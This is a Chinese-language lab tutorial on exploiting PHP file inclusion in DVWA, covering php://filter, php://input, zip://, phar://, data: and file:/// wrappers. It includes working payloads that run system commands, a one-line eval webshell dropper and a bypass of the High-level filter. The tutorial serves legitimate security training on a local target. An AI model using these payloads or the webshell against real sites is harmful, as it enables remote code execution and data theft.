文章目錄
-
- 一、實驗目的:
- 二、工具:
- 三、實驗環境:
- 四、介紹:
-
- 1. 說明:
- 2. PHP支援的協定和封裝協定:
- 五、實驗過程:
-
- 1. 本次實驗環境的敏感檔案路徑:
- 2. DVWA(Low級别):
-
- 2.1 通過`php://filter協定`,擷取網站源代碼:
-
- 2.1.1 利用條件:
- 2.1.2 用法:
- 2.2 通過`php://input協定`,通過檔案包含以POST方式送出請求資料:
-
- 2.2.1 利用條件:
- 2.2.2 用法:
- 2.3 `zip://僞協定`使用:
-
- 2.3.1 利用條件:
- 2.3.2 用法:
- 2.4 `phar://僞協定`使用:
-
- 2.4.1 利用條件:
- 2.4.2 用法:
- 2.5 `data:text/plain僞協定`使用:
-
- 2.5.1 利用條件:
- 2.5.2 用法:
- 3. DVWA(High級别):
-
- 3.1 `file:///僞協定`使用:
-
- 3.1.1 利用條件:
- 3.1.2 用法:
一、實驗目的:
1、通過代碼學習檔案包含的過濾方式。
2、通過
dvwa
漏洞環境,學習檔案包含漏洞利用技巧。
3、通過
漏洞環境,學習檔案包含中各種僞協定在檔案包含的的使用方法。
dvwa
二、工具:
火狐/谷歌浏覽器
burpsuite
三、實驗環境:
靶 機: windows10虛拟機:
192.168.100.150
phpstudy2018_Apache
內建環境
攻擊機: 實體機
DVWA靶場
四、介紹:
1. 說明:
帶有很多
PHP
,可用于類似
内置URL風格的封裝協定
、
fopen()
、
copy()
和
file_exists()
的檔案系統函數。
filesize()
2. PHP支援的協定和封裝協定:
協定 | 作用 | 測試PHP版本 | allow_url_fopen | allow_url_include | 使用 |
---|---|---|---|---|---|
| | 通路本地檔案系統 | Off/On | Off/On | |
| | 通路各個輸入/輸出流(I/O streams) | Off/On | Off/On | |
| | 通路各個輸入/輸出流(I/O streams) | Off/On | On | |
| | 壓縮流 | Off/On | Off/On | |
| | 解壓縮流 | Off/On | Off/On | |
| | 壓縮流 | Off/On | Off/On | |
| | 資料(RFC 2397) | On | On | |
| | 通路 FTP(s) URLs | |||
// | | 通路 HTTP(s) 網址 | |||
| | 查找比對的檔案路徑模式 | |||
| | PHP 歸檔 | |||
| | Secure Shell 2 | |||
| | RAR | |||
| | 音頻流 | |||
| | 處理互動式的流 |
請參考文章
五、實驗過程:
1. 本次實驗環境的敏感檔案路徑:
C:\Windows\System32\drivers\etc\hosts
E:\php\phpstudy_2018\PHPTutorial\Apache\conf\httpd.conf
E:\php\phpstudy_2018\PHPTutorial\php\php-5.4.45\php.ini
E:\php\phpstudy_2018\PHPTutorial\MySQL\my.ini
2. DVWA(Low級别):
校驗源碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
通過上面的源碼我們可以看到,背景沒有對我們傳入的參數進行任何過濾。
2.1 通過 php://filter協定
,擷取網站源代碼:
php://filter協定
2.1.1 利用條件:
隻是讀取,是以隻需要開啟,對
allow_url_fopen
不做要求。
allow_url_include
2.1.2 用法:
1、調整DVWA的安全級别,并進入檔案包含裡面:
2、使用
php://協定
進行檔案包含
file1.php
,可以看到,已經傳回了包含檔案的
base64加密
源碼:
這個協定的含義為:通過php協定讀取本地敏感檔案的源代碼,對讀取的的檔案進行base64加密,并傳回加密後的檔案内容。
3、複制加密的内容進行解密:
4、通過目錄穿越的方法讀取
index.php檔案
:
一般我們是在已知網站結構路徑的前提下,擷取網站的源代碼。
2.2 通過 php://input協定
,通過檔案包含以POST方式送出請求資料:
php://input協定
2.2.1 利用條件:
可以通路請求的原始資料的隻讀流, 将post請求中的資料作為PHP代碼執行;需要開啟,對
allow_url_include=on
不做要求。
allow_url_fopen
2.2.2 用法:
#URL中:
?page=php://input
#請求資料中:
<?php system(whoami);?> #這裡是通過php代碼執行系統指令whoami;
1、在檔案包含頁面,通過
burpsuite
抓包:
2、用
burpsuite
抓包在
url
中輸入
php://input
,在底部請求資料中可以寫任意
PHP代碼
:
獲得
phpinfo
資訊:
3、通過
php代碼
執行
系統指令
:
4、寫入一句話木馬檔案:
<?php
fputs(fopen('test.php','w'),'<?php @eval($_POST[test]);?>');
?>
5、頁面出現亂碼解決:
2.3 zip://僞協定
使用:
zip://僞協定
2.3.1 利用條件:
zip://
可以通路壓縮檔案中的檔案。
條件: 使用
,需要将
zip協定
編碼為
#
,是以需要
%23
>=
PHP 的版本
,要是因為版本的問題無法将
5.3.0
編碼成
#
,可以手動把
%23
改成
#
。
%23
2.3.2 用法:
1、将靶機網站主目錄下的
1.php
,壓縮成
1.zip
壓縮包:
内容:
2、通過
zip://僞協定
對它進行檔案包含:
注:要是把壓縮包的字尾改為其他任意格式的檔案也可以正常使用。
2.4 phar://僞協定
使用:
phar://僞協定
2.4.1 利用條件:
與類似,但用法不同,
zip://協定
中是用
zip://僞協定
把壓縮檔案路徑和壓縮檔案的子檔案名隔開,而
#
中是用
phar://僞協定
把壓縮檔案路徑和壓縮檔案的子檔案名隔開。
/
2.4.2 用法:
使用phar://對1.zip檔案進行檔案包含:
2.5 data:text/plain僞協定
使用:
data:text/plain僞協定
2.5.1 利用條件:
和的
php僞協定
input
類似,也可以執行任意代碼,但利用條件和用法不同。
條件:
參數與
allow_url_fopen
都需開啟。
allow_url_include
2.5.2 用法:
#用法1:
?page=data:text/plain,<?php 執行内容 ?>
#用法2:
?page=data:text/plain;base64,編碼後的php代碼
1、使用
用法1
執行代碼:
執行内容:
2、使用
用法2
執行代碼:
執行内容:
注:經base64編碼後的加号和等号要手動的url編碼,以免浏覽器識别不了。
對執行内容進行
base64加密
:
可以看到系統指令已經執行成功:
3. DVWA(High級别):
校驗源碼:
<?php
// The page we wish to display
$file = $_GET[ 'page' ]; //定義一個變量,通過GET的請求方式接收我們包含的檔案;
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { //如果通過get方式傳遞過來的參數字元串中,開頭沒有以file*開頭的字元串,并且不能包含include.php檔案;
//文法:fnmatch(pattern,string,flags):
//pattern 必需。規定要檢索的模式;
//string 必需。規定要檢查的字元串或檔案。
echo "ERROR: File not found!"; 則輸出檔案未發現,并且退出
exit;
}
?>
校驗流程:
通過GET的請求方式接收包含的檔案-->如果通過get方式傳遞過來的參數字元串中,開頭沒有以file*開頭的字元串,并且不能包含include.php檔案-->則輸出檔案未發現,并且退出
3.1 file:///僞協定
使用:
file:///僞協定
3.1.1 利用條件:
用于通路本地檔案系統,且不受
file://
與
allow_url_fopen
的影響。
allow_url_include
3.1.2 用法:
1、調整
DVWA
的安全級别,并進入檔案包含裡面:
2、使用本地檔案包含,沒有發現檔案:
注:通過上面源碼我們發現,隻要傳入的參數的沒有以
file
開頭的字元,則輸出檔案未發現,并且退出。
3、這裡我們通過
file:///
協定進行繞過,發現可以通路
host檔案
:
我們包含:
file:///C:\Windows\System32\drivers\etc\hosts